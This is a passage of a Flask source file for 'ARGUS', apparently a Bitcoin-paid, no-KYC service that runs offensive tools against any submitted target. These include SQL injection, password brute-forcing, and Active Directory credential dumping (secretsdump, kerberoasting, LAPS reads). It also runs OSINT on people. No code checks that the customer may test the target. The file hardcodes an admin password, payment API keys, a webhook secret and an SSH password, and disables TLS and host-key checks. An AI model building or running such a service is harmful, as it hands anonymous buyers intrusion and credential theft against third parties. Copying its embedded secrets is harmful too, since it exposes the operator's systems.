Files
argus/app.py
drjones 674462bef3 Restore ARGUS v4 agent-native (was clobbered by stale v2) + fixes
- Restore full v4: API keys, /api/scan, /docs, /openapi.json, /mcp MCP endpoint, subscriptions, AD-audit + creds scans
- Add missing /api/login (premium owner login, permanent sub key)
- Fix agent_report CoT leak: enable_thinking:false + reasoning_effort:low
- Add Ollama fallback chain (.128 qwen3.8fast -> .186 ornith-1.5:9b)
- Fix Kali API params: naabu uses 'host', wpscan uses 'url'
- Fix creds_scan hydra contract (target+service+username)
- Fix run_osint: missing 'ssh' command (sshpass -p X ssh -o ...)
- Harden sub_active against naive datetime
2026-08-25 01:29:20 -07:00

1308 lines
69 KiB
Python

#!/usr/bin/env python3
"""
ARGUS v4 — The Hundred-Eyed Watchman
=====================================
Rentable AI security agent. Real tool calls, real results, in the browser.
Bitcoin (sats) settled. No KYC. qwen3.8-fast interprets every result.
ARGUS PANOPTES — the hundred-eyed giant of Greek myth, the all-seeing
watchman who never sleeps. Every eye open. Nothing escapes the gaze.
Tooling:
- Web vuln -> SUPERkali (.177) 70-tool REST API: nuclei/ffuf/nmap/sqlmap/nikto/wpscan
- OSINT -> OSINT VM (.66): sherlock / theHarvester / spiderfoot / holehe / maigret
- AD audit -> Commando (.47): impacket secretsdump/kerberoast/asreproast + winPEAS + hashcat
- Creds -> SUPERkali: crackmapexec / enum4linux / hydra / smbclient
- Agent -> qwen3.8fast @ shadow-death (.128) for professional reports
API: agent-native. Mint a key, submit scans as JSON, poll results.
Docs live at /docs — human and machine readable (OpenAPI at /openapi.json).
MCP: paid weekly subscription unlocks ARGUS as a red-team MCP endpoint
at /mcp — agents connect over the Model Context Protocol, list tools,
and call scans programmatically. Subscription settled in Bitcoin.
drjones — indianaholmes@thetempleofdoom.com
"""
import os, sqlite3, json, subprocess, uuid, hashlib, hmac, threading, urllib.request, ssl, base64
from datetime import datetime, timezone, timedelta
from flask import Flask, request, jsonify, render_template_string, g, Response
# BTCPay uses a self-signed cert on the LAN — trust it
_SSL = ssl.create_default_context()
_SSL.check_hostname = False
_SSL.verify_mode = ssl.CERT_NONE
# ─── CONFIG ──────────────────────────────────────────────────────────────────
PROXMOX_HOST = "10.30.20.85"
PROXMOX_USER = "root"
KALI_VMID = "109"
OSINT_VMID = "547"
COMMANDO_VMID = "601"
KALI_API = "http://10.30.30.177:5000"
BTCPAY_URL = "https://10.30.20.140"
BTCPAY_PUBLIC = "https://btcpay.thetempleofdoom.com"
BTCPAY_KEY = "6026288e2e315984661c748baafd509e81a75f22"
BTCPAY_STORE = "5L7HDf8LPG57JvW3ukcuG1ScruAfxEA6bhBYy5zNRuxh"
STORE_ADDR = "bc1qvj4x74dnvzw3ku2f8lrmhz4g6r4p63djcs2y39"
WEBHOOK_SECRET = "BsvyofWDqri5mDbQxhWhW3"
OLLAMA_URL = "http://10.30.20.128:11434"
OLLAMA_MODEL = "qwen3.8fast"
# Fallback chain — .128 (nightmare 4080S) is flaky; .186 (light_reaper 3070) is the reliable backup.
OLLAMA_HOSTS = [
("http://10.30.20.128:11434", "qwen3.8fast"), # primary — the main brain
("http://10.30.20.186:11434", "ornith-1.5:9b"), # fallback — long-context specialist
]
ADMIN_USER = "drjones"
ADMIN_PASS = "Czapiewski1!"
SECRET = os.environ.get("ARGUS_SECRET", uuid.uuid4().hex)
DB_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), "argus.db")
PUBLIC_BASE = "https://argus.thetempleofdoom.com"
# Pricing in SATS (1 BTC = 100,000,000 sats)
PRICES_SATS = {
"web-vuln": 4000,
"osint": 2500,
"ad-audit": 5000,
"creds": 3500,
"monitor": 15000,
}
# MCP subscription (weekly, in sats)
MCP_PLANS = {
"mcp-weekly": {"sats": 20000, "label": "Red-Team MCP Endpoint — 7 days", "days": 7},
"mcp-monthly": {"sats": 60000, "label": "Red-Team MCP Endpoint — 30 days", "days": 30},
}
# ─── DB ──────────────────────────────────────────────────────────────────────
def get_db():
db = getattr(g, "_db", None)
if db is None:
db = g._db = sqlite3.connect(DB_PATH); db.row_factory = sqlite3.Row
return db
def init_db():
db = sqlite3.connect(DB_PATH)
db.executescript("""
CREATE TABLE IF NOT EXISTS jobs (
id TEXT PRIMARY KEY, email TEXT, kind TEXT, target TEXT,
status TEXT DEFAULT 'pending', -- unpaid | running | done | failed
invoice_id TEXT, raw TEXT, report TEXT, params TEXT DEFAULT '{}',
created_at TEXT DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS api_keys (
key TEXT PRIMARY KEY, email TEXT, label TEXT,
created_at TEXT DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS subscriptions (
key TEXT PRIMARY KEY, email TEXT, plan TEXT,
expires_at TEXT, -- ISO UTC timestamp
created_at TEXT DEFAULT (datetime('now'))
);
""")
# migrate: ensure raw/report/params columns exist (older DBs used 'result' or lacked params)
cols = [r[1] for r in db.execute("PRAGMA table_info(jobs)").fetchall()]
for name, ddl in [("raw", "TEXT"), ("report", "TEXT"), ("params", "TEXT DEFAULT '{}'")]:
if name not in cols:
db.execute(f"ALTER TABLE jobs ADD COLUMN {name} {ddl}")
db.commit(); db.close()
# ─── TOOL EXECUTORS ──────────────────────────────────────────────────────────
def _ssh(cmd, timeout):
r = subprocess.run(["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=10",
f"{PROXMOX_USER}@{PROXMOX_HOST}", cmd],
capture_output=True, text=True, timeout=timeout)
return r.stdout + r.stderr
def run_guest(vmid, cmd, timeout=420):
"""Run a command inside a Linux VM via Proxmox guest exec; return decoded stdout."""
out = _ssh(f"qm guest exec {vmid} -- bash -c {cmd!r}", timeout)
try:
return json.loads(out).get("out-data", "")
except Exception:
return out
def run_commando(ps_script, timeout=420):
"""Run PowerShell on the Commando VM (Windows) via guest exec (base64 UTF-16LE)."""
enc = base64.b64encode(ps_script.encode("utf-16-le")).decode()
out = _ssh(f"qm guest exec {COMMANDO_VMID} -- powershell -NoProfile -EncodedCommand {enc}", timeout)
try:
d = json.loads(out)
return d.get("out-data", "") or d.get("err-data", "")
except Exception:
return out
def kali_api(tool, params, timeout=600):
"""Call the Kali REST API (70 tools) at /api/tools/<tool>."""
body = json.dumps(params).encode()
req = urllib.request.Request(f"{KALI_API}/api/tools/{tool}", data=body,
headers={"Content-Type": "application/json"})
try:
r = urllib.request.urlopen(req, timeout=timeout)
d = json.loads(r.read())
if isinstance(d, dict) and "stdout" in d:
return (d.get("stdout") or "") + (("\nERR: " + d["stderr"]) if d.get("stderr") else "")
if isinstance(d, dict) and "error" in d:
return "ERR: " + str(d["error"])
return json.dumps(d, indent=2)
except Exception as e:
return f"ERR: {e}"
OSINT_HOST = "10.30.30.66"
OSINT_USER = "osint"
OSINT_KEY = "osint"
def run_osint(cmd, timeout=300):
"""Run a command on the OSINT VM (10.30.30.66) over SSH."""
r = subprocess.run(["sshpass", "-p", OSINT_KEY, "ssh", "-o", "StrictHostKeyChecking=no",
"-o", "ConnectTimeout=10", f"{OSINT_USER}@{OSINT_HOST}", cmd],
capture_output=True, text=True, timeout=timeout)
return r.stdout + r.stderr
# ─── AGENT (qwen3.8) ─────────────────────────────────────────────────────────
def _llm_generate(prompt):
"""Try each Ollama host/model in order; return text or None.
qwen3.8fast needs enable_thinking:false + reasoning_effort:low (its template
keys on those fields, NOT Ollama's `think` field) or it leaks ////// CoT junk.
ornith-1.5:9b honours a top-level think:false."""
for url, model in OLLAMA_HOSTS:
opts = {"num_predict": 1024}
if model.startswith("qwen"):
opts.update({"enable_thinking": False, "reasoning_effort": "low"})
body = json.dumps({"model": model, "prompt": prompt, "stream": False,
"think": False, "options": opts}).encode()
req = urllib.request.Request(f"{url}/api/generate", data=body,
headers={"Content-Type": "application/json"})
try:
r = urllib.request.urlopen(req, timeout=180)
out = json.loads(r.read()).get("response", "").strip()
if out:
return out
except Exception:
continue
return None
def agent_report(kind, target, raw):
"""Turn raw tool output into a professional findings report (LLM)."""
if not raw or not raw.strip():
return "No findings returned from the tooling."
prompt = (
f"You are the ARGUS security agent. Turn the following raw {kind} scan output "
f"for target '{target}' into a concise, professional security report. "
f"List concrete findings, severity, and recommended fixes. Be factual and "
f"technical — do not invent findings that are not in the raw output. "
f"Format as markdown.\n\n=== RAW OUTPUT ===\n{raw[:8000]}"
)
resp = _llm_generate(prompt)
if resp is None:
return f"(agent interpretation unavailable — no LLM host reachable)\n\n{raw[:3000]}"
return resp
# ─── SCANS ───────────────────────────────────────────────────────────────────
def web_vuln_scan(target):
host = target.split("://")[-1].split("/")[0].split(":")[0]
stages = {}
stages["subdomain_discovery"] = kali_api("subfinder", {"domain": host})
stages["port_scan"] = kali_api("naabu", {"host": host})
stages["http_probe"] = kali_api("httpx", {"target": host})
stages["vulnerability_scan"] = kali_api("nuclei", {"target": f"https://{host}", "additional_args": "-severity low,medium,high,critical -timeout 8"})
stages["cms_scan"] = kali_api("wpscan", {"url": f"https://{host}"})
stages["sql_injection"] = kali_api("sqlmap", {"target": f"https://{host}", "additional_args": "--batch --level 1 --risk 1"})
stages["service_enumeration"] = kali_api("nmap", {"target": host})
stages["directory_fuzzing"] = kali_api("ffuf", {"url": f"https://{host}", "wordlist": "/usr/share/seclists/Discovery/Web-Content/common.txt"})
return json.dumps(stages, indent=2)
def osint_scan(target):
stages = {}
stages["username_search"] = run_osint(f"timeout 90 sherlock {target} --timeout 10 2>/dev/null | head -50")
stages["email_domain_recon"] = run_osint(f"timeout 60 theHarvester -d {target} -b all 2>/dev/null | head -50")
stages["subdomain_enumeration"] = run_osint(f"timeout 60 sublist3r -d {target} 2>/dev/null | head -40")
stages["email_breach"] = run_osint(f"timeout 60 holehe {target} 2>/dev/null | head -40")
return json.dumps(stages, indent=2)
def ad_audit_scan(target, username="", password="", domain=""):
"""Windows / Active Directory assessment via Commando (impacket + recon)."""
host = target.split("://")[-1].split("/")[0].split(":")[0]
stages = {}
# unauthenticated recon
stages["port_scan"] = run_commando(
f'Import-Module "C:\\\\Tools\\\\PowerSploit\\\\Recon\\\\Invoke-Portscan.ps1"; '
f'Invoke-Portscan -Hosts "{host}" -Ports "21,22,53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,5986,8080,9389" -T 4'
)
cred = f"{domain}/{username}:{password}" if (domain and username) else (f"{username}:{password}" if username else "")
if cred:
stages["samrdump"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\samrdump.py "{cred}@{host}" 2>&1 | Select-Object -First 50')
stages["kerberoast"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetUserSPNs.py "{cred}@{host}" -request 2>&1 | Select-Object -First 60')
stages["asreproast"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetNPUsers.py "{cred}@{host}" -request -format hashcat 2>&1 | Select-Object -First 40')
stages["laps_passwords"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\GetLAPSPassword.py "{cred}@{host}" 2>&1 | Select-Object -First 30')
stages["secretsdump"] = run_commando(f'python C:\\\\Python311\\\\Scripts\\\\secretsdump.py "{cred}@{host}" 2>&1 | Select-Object -First 80')
else:
stages["asreproast_enum"] = run_commando(
f'python C:\\\\Python311\\\\Scripts\\\\GetNPUsers.py "{domain}/" -no-pass -dc-ip "{host}" -request -format hashcat 2>&1 | Select-Object -First 30'
)
return json.dumps(stages, indent=2)
def creds_scan(target, username="", password=""):
"""Credential / SMB attacks via Kali (crackmapexec, enum4linux, hydra, smbclient)."""
host = target.split("://")[-1].split("/")[0].split(":")[0]
stages = {}
stages["smb_enum"] = kali_api("enum4linux", {"target": host})
stages["smb_client"] = kali_api("smbclient", {"target": host})
stages["smb_attack"] = kali_api("crackmapexec", {"target": f"smb {host}"})
if username:
stages["hydra_smb"] = kali_api("hydra", {"target": host, "service": "smb", "username": username})
return json.dumps(stages, indent=2)
def run_job(job_id):
db = sqlite3.connect(DB_PATH); db.row_factory = sqlite3.Row
job = db.execute("SELECT * FROM jobs WHERE id=?", (job_id,)).fetchone()
db.execute("UPDATE jobs SET status='running' WHERE id=?", (job_id,)); db.commit()
try:
params = json.loads(job["params"] or "{}")
username = params.get("username", "")
password = params.get("password", "")
domain = params.get("domain", "")
kind = job["kind"]
target = job["target"]
if kind == "web-vuln":
raw = web_vuln_scan(target)
elif kind == "ad-audit":
raw = ad_audit_scan(target, username, password, domain)
elif kind == "creds":
raw = creds_scan(target, username, password)
else:
raw = osint_scan(target)
report = agent_report(kind, target, raw)
db.execute("UPDATE jobs SET raw=?, report=?, status='done' WHERE id=?", (raw, report, job_id))
except Exception as e:
db.execute("UPDATE jobs SET report=?, status='failed' WHERE id=?", (f"Scan error: {e}", job_id))
db.commit(); db.close()
# ─── BTCPAY ──────────────────────────────────────────────────────────────────
def btcpay_create_invoice(sats, order_id, desc, redirect=None):
btc = sats / 1e8
body = {"amount": str(btc), "currency": "BTC", "orderId": order_id,
"metadata": {"orderId": order_id, "description": desc}}
if redirect:
body["checkout"] = {"redirectURL": redirect}
req = urllib.request.Request(f"{BTCPAY_URL}/api/v1/stores/{BTCPAY_STORE}/invoices",
data=json.dumps(body).encode(),
headers={"Authorization": f"token {BTCPAY_KEY}",
"Content-Type": "application/json"})
try:
r = urllib.request.urlopen(req, timeout=20, context=_SSL)
inv = json.loads(r.read())
link = inv.get("checkoutLink")
if link:
link = link.replace("10.30.20.140", "btcpay.thetempleofdoom.com")
return link, inv.get("id")
except Exception as e:
return None, str(e)
def btcpay_verify(sig, raw):
if not sig: return False
expected = hmac.new(WEBHOOK_SECRET.encode(), raw, hashlib.sha256).hexdigest()
return hmac.compare_digest(f"sha256={expected}", sig)
# ─── API KEYS & SUBSCRIPTIONS ────────────────────────────────────────────────
def mint_key(email, label=""):
key = "argus_" + uuid.uuid4().hex
db = get_db()
db.execute("INSERT INTO api_keys (key, email, label) VALUES (?,?,?)", (key, email, label))
db.commit()
return key
def key_valid(key):
if not key: return False
db = get_db()
return db.execute("SELECT 1 FROM api_keys WHERE key=?", (key,)).fetchone() is not None
def key_email(key):
db = get_db()
row = db.execute("SELECT email FROM api_keys WHERE key=?", (key,)).fetchone()
return row["email"] if row else None
def sub_active(key):
"""True if the key has an unexpired subscription."""
if not key: return False
db = get_db()
row = db.execute("SELECT expires_at FROM subscriptions WHERE key=?", (key,)).fetchone()
if not row or not row["expires_at"]: return False
try:
exp = datetime.fromisoformat(row["expires_at"])
if exp.tzinfo is None:
exp = exp.replace(tzinfo=timezone.utc)
except Exception:
return False
return exp > datetime.now(timezone.utc)
def extend_subscription(key, email, plan):
days = MCP_PLANS[plan]["days"]
db = get_db()
row = db.execute("SELECT expires_at FROM subscriptions WHERE key=?", (key,)).fetchone()
base = datetime.now(timezone.utc)
if row and row["expires_at"]:
try:
cur = datetime.fromisoformat(row["expires_at"])
if cur > base:
base = cur
except Exception:
pass
exp = (base + timedelta(days=days)).isoformat()
db.execute("""INSERT INTO subscriptions (key, email, plan, expires_at) VALUES (?,?,?,?)
ON CONFLICT(key) DO UPDATE SET plan=excluded.plan, expires_at=excluded.expires_at, email=excluded.email""",
(key, email, plan, exp))
db.commit()
return exp
# ─── UI (premium, animated) ──────────────────────────────────────────────────
STYLE = """
:root{--bg:#05070d;--panel:rgba(13,20,38,.7);--line:rgba(56,89,152,.35);--txt:#e8f0fb;--dim:#8fa3c8;--acc:#22d3ee;--acc2:#8b5cf6;--good:#34d399;--warn:#fbbf24;--blood:#e11d48}
*{box-sizing:border-box;margin:0;padding:0}
html{scroll-behavior:smooth}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:var(--bg);color:var(--txt);line-height:1.6;-webkit-font-smoothing:antialiased;overflow-x:hidden}
#bg{position:fixed;inset:0;z-index:0;pointer-events:none}
#bg canvas{display:block}
.content{position:relative;z-index:1}
.wrap{max-width:1140px;margin:0 auto;padding:0 24px}
nav{display:flex;justify-content:space-between;align-items:center;padding:22px 0;position:relative;z-index:2}
.logo{font-weight:900;font-size:1.5rem;letter-spacing:2px}.logo span{background:linear-gradient(90deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent}
.logo .eye{display:inline-block;width:14px;height:14px;border-radius:50%;background:radial-gradient(circle at 35% 35%,var(--acc),#041018 70%);box-shadow:0 0 12px var(--acc);margin-right:10px;vertical-align:middle}
nav a{color:var(--dim);text-decoration:none;margin-left:24px;font-size:.92rem;transition:.2s}
nav a:hover{color:var(--txt)}
nav a.cta{background:linear-gradient(90deg,var(--acc),var(--acc2));color:#041018;padding:10px 20px;border-radius:10px;font-weight:700}
.hero{padding:110px 0 70px;text-align:center}
.hero .eyebrow{letter-spacing:4px;color:var(--acc);font-size:.8rem;text-transform:uppercase;margin-bottom:18px}
.hero .eyebrow .blink{animation:blink 1.4s infinite}
@keyframes blink{50%{opacity:.2}}
.hero h1{font-size:3.6rem;font-weight:900;letter-spacing:-1.5px;line-height:1.04}
.hero h1 span{background:linear-gradient(90deg,var(--acc),var(--acc2));-webkit-background-clip:text;-webkit-text-fill-color:transparent}
.hero p{color:var(--dim);font-size:1.22rem;max-width:680px;margin:24px auto}
.actions{margin-top:38px;display:flex;gap:16px;justify-content:center;flex-wrap:wrap}
.btn{display:inline-block;padding:15px 30px;border-radius:12px;font-weight:700;text-decoration:none;font-size:1rem;transition:.2s;cursor:pointer;border:none}
.btn:hover{transform:translateY(-2px)}
.btn.primary{background:linear-gradient(90deg,var(--acc),var(--acc2));color:#041018;box-shadow:0 8px 30px rgba(34,211,238,.25)}
.btn.ghost{border:1px solid var(--line);color:var(--txt);background:rgba(13,20,38,.4)}
.section{padding:70px 0}
.section h2{font-size:2.2rem;font-weight:800;text-align:center;margin-bottom:14px}
.section .sub{text-align:center;color:var(--dim);max-width:640px;margin:0 auto 40px}
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:20px}
.card{background:var(--panel);border:1px solid var(--line);border-radius:16px;padding:30px;backdrop-filter:blur(12px);transition:.25s}
.card:hover{transform:translateY(-4px);border-color:var(--acc);box-shadow:0 12px 40px rgba(34,211,238,.12)}
.card h3{font-size:1.15rem;margin-bottom:10px;color:var(--acc)}
.card p{color:var(--dim);font-size:.92rem}
.card .sats{font-size:1.9rem;font-weight:800;margin:16px 0 4px}
.card .sats small{font-size:.85rem;color:var(--dim);font-weight:400}
.panel{background:var(--panel);border:1px solid var(--line);border-radius:18px;padding:36px;margin:30px 0;backdrop-filter:blur(12px)}
label{display:block;margin:16px 0 6px;color:var(--dim);font-size:.88rem}
input,select{width:100%;padding:14px;border:1px solid var(--line);border-radius:10px;background:rgba(5,7,13,.7);color:var(--txt);font-size:1rem}
input:focus{outline:none;border-color:var(--acc);box-shadow:0 0 0 3px rgba(34,211,238,.15)}
.radios{display:flex;gap:18px;flex-wrap:wrap}
.radios label{display:flex;align-items:center;gap:8px;margin:0;color:var(--txt)}
.radios input{width:auto}
.opt{display:none}
.opt.show{display:block}
.tools{display:grid;grid-template-columns:repeat(auto-fill,minmax(210px,1fr));gap:14px}
.tool{background:var(--panel);border:1px solid var(--line);border-radius:12px;padding:18px}
.tool b{color:var(--acc);display:block;margin-bottom:4px;font-size:.95rem}
.tool span{color:var(--dim);font-size:.82rem}
.cat{margin:40px 0 16px;font-size:1.3rem;font-weight:800;color:var(--txt)}
.cat .tag{font-size:.7rem;color:var(--acc2);letter-spacing:2px;text-transform:uppercase;display:block;margin-bottom:2px}
footer{text-align:center;color:var(--dim);font-size:.85rem;padding:50px 0;position:relative;z-index:1}
footer a{color:var(--dim)}
.addr{font-family:monospace;background:rgba(5,7,13,.7);border:1px solid var(--line);border-radius:8px;padding:8px 14px;font-size:.82rem;word-break:break-all;color:var(--good)}
.status{display:inline-block;padding:5px 14px;border-radius:20px;font-weight:700;font-size:.85rem}
.pending{background:#2a2010;color:var(--warn)}.unpaid{background:#2a1a30;color:#c9a7e8}.running{background:#0f3050;color:#6cc3ff}.done{background:#0f2a1e;color:var(--good)}.failed{background:#2a1010;color:#f87171}
pre{background:rgba(5,7,13,.8);border:1px solid var(--line);border-radius:12px;padding:20px;overflow-x:auto;white-space:pre-wrap;font-size:.85rem;font-family:ui-monospace,monospace;line-height:1.5}
.report{background:var(--panel);border:1px solid var(--line);border-radius:16px;padding:28px;margin-top:20px}
.report h1,.report h2,.report h3{color:var(--acc);margin:16px 0 8px}
.report li{margin-left:20px;color:var(--dim)}
.report code{background:rgba(5,7,13,.8);padding:2px 6px;border-radius:4px}
.terminal{font-family:ui-monospace,'SF Mono',Menlo,monospace;background:rgba(2,4,9,.92);border:1px solid var(--line);border-radius:14px;max-width:640px;margin:34px auto 0;text-align:left;overflow:hidden;box-shadow:0 20px 60px rgba(0,0,0,.5)}
.terminal .bar{display:flex;align-items:center;gap:6px;padding:12px 16px;background:rgba(13,20,38,.6);border-bottom:1px solid var(--line)}
.terminal .bar i{width:11px;height:11px;border-radius:50%;display:inline-block}
.terminal .bar i.r{background:#ff5f56}.terminal .bar i.y{background:#ffbd2e}.terminal .bar i.g{background:#27c93f}
.terminal .bar span{color:var(--dim);font-size:.75rem;margin-left:8px;letter-spacing:1px}
.terminal .body{padding:18px 20px;font-size:.83rem;line-height:1.7;min-height:180px}
.terminal .body .ln{white-space:pre-wrap;word-break:break-word}
.terminal .body .ln .c{color:var(--good)}.terminal .body .ln .k{color:var(--acc)}.terminal .body .ln .d{color:var(--dim)}.terminal .body .ln .w{color:var(--warn)}.terminal .body .ln .b{color:var(--blood)}
.cursor{display:inline-block;width:8px;height:15px;background:var(--acc);vertical-align:-2px;animation:blink 1s infinite}
.redact{background:#1a2035;color:transparent;border-radius:3px;user-select:none}
.stamp{display:inline-block;border:2px solid var(--blood);color:var(--blood);padding:3px 14px;border-radius:4px;font-weight:800;letter-spacing:3px;font-size:.72rem;transform:rotate(-4deg);opacity:.8;text-transform:uppercase}
.docs{margin-top:50px}
.docs .endpoint{background:var(--panel);border:1px solid var(--line);border-radius:14px;margin:22px 0;overflow:hidden}
.docs .endpoint .head{display:flex;align-items:center;gap:14px;padding:18px 22px;background:rgba(13,20,38,.5);border-bottom:1px solid var(--line);flex-wrap:wrap}
.method{font-family:ui-monospace,monospace;font-weight:800;font-size:.8rem;padding:4px 12px;border-radius:6px;letter-spacing:1px}
.m-GET{background:#0f2a1e;color:var(--good)}.m-POST{background:#0f3050;color:#6cc3ff}
.docs .endpoint .head code.path{font-family:ui-monospace,monospace;color:var(--txt);font-size:1rem;font-weight:600}
.docs .endpoint .desc{padding:18px 22px;color:var(--dim);font-size:.92rem}
.docs .endpoint .desc b{color:var(--txt)}
.docs h3{color:var(--acc);margin:34px 0 6px;font-size:1.2rem}
.docs .auth-note{background:rgba(139,92,246,.08);border:1px solid rgba(139,92,246,.3);border-radius:10px;padding:14px 18px;color:var(--dim);font-size:.88rem;margin:14px 0}
.code-block{position:relative;margin:14px 0}
.code-block .lang{position:absolute;top:10px;right:16px;color:var(--dim);font-size:.7rem;letter-spacing:1px;text-transform:uppercase}
.tbl{width:100%;border-collapse:collapse;font-size:.86rem;margin:10px 0}
.tbl th{text-align:left;color:var(--acc);font-weight:600;padding:8px 10px;border-bottom:1px solid var(--line);font-size:.8rem}
.tbl td{padding:8px 10px;border-bottom:1px solid rgba(56,89,152,.15);color:var(--dim)}
.tbl td code{color:var(--txt);background:rgba(5,7,13,.6);padding:1px 6px;border-radius:4px;font-size:.8rem}
@media(max-width:680px){.hero h1{font-size:2.4rem}}
"""
BG_JS = """
<script>
(function(){
var c=document.createElement('canvas'),x=c.getContext('2d');document.getElementById('bg').appendChild(c);
var W,H,pts=[],N=110,mx=0,my=0;
function rs(){W=c.width=innerWidth;H=c.height=innerHeight;
pts=[];for(var i=0;i<N;i++)pts.push({x:Math.random()*W,y:Math.random()*H,vx:(Math.random()-.5)*.5,vy:(Math.random()-.5)*.5,r:Math.random()*1.8+.6});}
rs();addEventListener('resize',rs);addEventListener('mousemove',function(e){mx=e.clientX;my=e.clientY;});
function tick(){
x.clearRect(0,0,W,H);
for(var i=0;i<pts.length;i++){var p=pts[i];
p.x+=p.vx;p.y+=p.vy;
if(p.x<0||p.x>W)p.vx*=-1;if(p.y<0||p.y>H)p.vy*=-1;
var dx=p.x-mx,dy=p.y-my,d=Math.sqrt(dx*dx+dy*dy);
if(d<160){p.x+=dx/d*1.2;p.y+=dy/d*1.2;}
x.beginPath();x.arc(p.x,p.y,p.r,0,7);x.fillStyle='rgba(34,211,238,.7)';x.fill();}
for(var i=0;i<pts.length;i++)for(var j=i+1;j<pts.length;j++){
var a=pts[i],b=pts[j],dx=a.x-b.x,dy=a.y-b.y,d=dx*dx+dy*dy;
if(d<15000){x.beginPath();x.moveTo(a.x,a.y);x.lineTo(b.x,b.y);
x.strokeStyle='rgba(139,92,246,'+(0.14*(1-d/15000))+')';x.stroke();}}
requestAnimationFrame(tick);}
tick();
})();
</script>
"""
TERMINAL_JS = """
<script>
(function(){
var lines=[
['d','ARGUS PANOPTES v4.0.0'],
['d','booting the hundred eyes...'],
['g','[ OK ] kali.armory — 70 tools online'],
['g','[ OK ] commando.armory — impacket + winPEAS online'],
['g','[ OK ] osint.armory — trace-labs recon online'],
['k','[+] agent cortex — qwen3.8fast :: shadow-death .128'],
['k','[+] mcp endpoint — red-team subscription gate'],
['d','establishing gaze across the attack surface...'],
['w','[!] authorization required. bitcoin only. no KYC.'],
['c','>>> ARGUS is watching. what do you want to find?'],
];
var body=document.getElementById('term'),i=0,ch=0,cur='';
function type(){
if(i>=lines.length){return;}
var l=lines[i],txt=l[1];
if(ch<=txt.length){
cur=txt.slice(0,ch);
body.innerHTML=lines.slice(0,i).map(function(x){return '<div class=ln><span class='+x[0]+'>'+x[1]+'</span></div>'}).join('')
+'<div class=ln><span class='+l[0]+'>'+cur+'</span><span class=cursor></span></div>';
ch++;setTimeout(type,ch===1?60:14);
}else{i++;ch=0;setTimeout(type,220);}
}
type();
})();
</script>
"""
# Full arsenal by category (rendered on /capabilities)
ARSENAL = [
("WEB RECON · KALI", [
("nuclei", "Fast CVE / misconfiguration scanner — 8,000+ templates"),
("subfinder", "Passive subdomain discovery across 30+ sources"),
("httpx", "Live HTTP probing of discovered hosts"),
("katana", "Crawler that maps a site's attack surface"),
("naabu", "Fast port scanner for target discovery"),
("ffuf", "High-speed directory & parameter fuzzer"),
("gobuster", "Directory / DNS / VHOST brute-forcer"),
("feroxbuster", "Recursive content discovery"),
("dirsearch", "Web path scanner with JSON output"),
("arjun", "HTTP parameter discovery"),
("nmap", "Port + service + NSE script enumeration"),
("masscan", "Internet-scale port scanning"),
("dnsx", "Fast DNS toolkit"),
("findomain", "Fast subdomain enumerator"),
("amass", "In-depth attack-surface mapping"),
("rustscan", "Lightning-fast port scanner"),
]),
("EXPLOITATION · KALI", [
("sqlmap", "Automatic SQL injection detection & takeover"),
("wpscan", "WordPress vulnerability scanner"),
("nikto", "Web server vulnerability scanner"),
("commix", "Command injection exploiter"),
("wfuzz", "Web application fuzzer"),
("dirb", "Web content scanner"),
("metasploit", "Full exploitation framework (msfconsole)"),
("searchsploit", "Exploit-DB offline search"),
("burpsuite", "Web app pentest proxy"),
]),
("CREDENTIALS · KALI", [
("crackmapexec", "Swiss-army SMB/WinRM/MSSQL post-exploitation"),
("enum4linux", "SMB / Samba enumeration"),
("smbclient", "SMB share access & enumeration"),
("hydra", "Fast network logon cracker"),
("john", "Password hash cracker"),
("hashcat", "GPU-accelerated hash cracking"),
("evil-winrm", "WinRM shell for lateral movement"),
("responder", "LLMNR/NBT-NS/mDNS poisoning"),
("impacket", "Python SMB/AD attack library"),
("bloodhound", "AD attack-path visualization"),
]),
("AD / WINDOWS · COMMANDO", [
("mimikatz", "Credential extraction from memory / SAM / LSA"),
("impacket-secretsdump", "Remote SAM/LSA/NTDS secret dump"),
("kerberoast", "GetUserSPNs — service-ticket hash extraction"),
("asreproast", "GetNPUsers — AS-REP hash extraction"),
("GetLAPSPassword", "Read LAPS-managed local admin passwords"),
("wmiexec / psexec / smbexec", "Remote command execution over WMI/SMB"),
("samrdump / lookupsid", "SAMR user & SID enumeration"),
("SharpHound", "BloodHound data collector"),
("PowerView", "AD enumeration (users/groups/sessions/GPO)"),
("winPEAS", "Local privilege-escalation enumeration"),
("hashcat", "Crack NTLM / Kerberoast / AS-REP hashes"),
("CrackMapExec", "SMB/LDAP/WinRM network attacks"),
]),
("OSINT · TRACE LABS", [
("sherlock", "Username footprint across 300+ social networks"),
("theHarvester", "Email + subdomain harvesting"),
("spiderfoot", "Automated OSINT recon framework"),
("holehe", "Email-registered-service enumeration"),
("maigret", "Deep username → profile enumeration"),
("instaloader", "Instagram profile + post intelligence"),
("toutatis", "Phone-number OSINT lookups"),
("shodan", "Internet device search engine"),
]),
("AGENT", [
("qwen3.8fast", "Interprets raw findings into a professional report"),
]),
]
def _nav(active=""):
return f"""<nav class=wrap><div class=logo><span class=eye></span>ARG<span>US</span></div>
<div><a href=/>Watch</a><a href=/capabilities>Arsenal</a><a href=/docs>API</a><a class=cta href=/#scan>Open an eye</a></div></nav>"""
def capabilities_page():
blocks = ""
for cat, tools in ARSENAL:
tools_html = "".join(f'<div class=tool><b>{n}</b><span>{d}</span></div>' for n, d in tools)
blocks += f'<div class=cat><span class=tag>arsenal</span>{cat}</div><div class=tools>{tools_html}</div>'
return f"""<!doctype html><html><head><meta charset=utf-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>ARGUS — The Arsenal</title><style>{STYLE}</style></head><body>
<div id=bg></div><div class=content>
{_nav()}
<section class=section><div class=wrap>
<h2>The arsenal</h2><p class=sub>Every weapon ARGUS turns on your target — real binaries, real results, across three attack VMs. <span class=stamp>classified</span></p>
{blocks}
</div></section>
